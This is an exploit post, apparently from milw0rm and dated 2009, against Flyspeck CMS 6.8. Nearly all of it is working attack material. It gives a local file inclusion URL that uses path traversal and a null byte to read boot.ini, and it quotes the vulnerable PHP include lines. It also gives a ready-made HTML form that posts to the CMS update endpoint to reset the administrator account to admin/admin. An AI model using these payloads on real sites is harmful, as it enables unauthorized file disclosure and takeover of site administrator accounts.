Flyspeck CMS 6.8 Remote LFI / Change Add Admin Exploit                =-=-remote change add admin xpl/lfi-=-=

-=-=-=-=-=-=-=-=-=-=-=-=-=-==-=-=-=-=-=-=-=-=-=-=
script::Flyspeck CMS 6.8
-------------------------------------------------
Author: ahmadbady
my site :Coming Soon
=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=
download from:http://www.flyspeck.net/purchase/download_trial.php
--------------------------------------------------
lfi:
includes/database/examples/addressbook.php?lang=../../../../boot.ini%00

$lang = isset($_GET['lang']) ? $_GET['lang'] : 'de'; line 28
include `lang.` . $lang . `.inc`; line 29
--------------------------

change pass and add admin:


<h2>coded by ahmadbady</h2>
<form name=`editUser` action=`/flyspeck/index.php?event=updateExistingContent` 
onsubmit=`return validateForm(this)` method=`post` 
enctype=`multipart/form-data`><label name=`Name`>Name</label>
<input type=`text` name=`users[fullname]` value=`admin` />
<label name=`Email`>Email</label><input type=`text` name=`users[email]` value=`admin` />
<label name=`Role`>Role</label><select name=`users[role_id]`><option value=`1` label=`admin` />
</select><label name=`Username`>Username</label><input type=`text` name=`users[username]` value=`admin` />
<label name=`Password`>Password</label><input type=`text` name=`users[password]` value=`admin` />
<input type=`hidden` name=`id` value=`1` /><input type=`hidden` name=`defName` value=`users` />
<input type=`submit` name=`1` value=`Save` /></form>

# milw0rm.com [2009-05-18]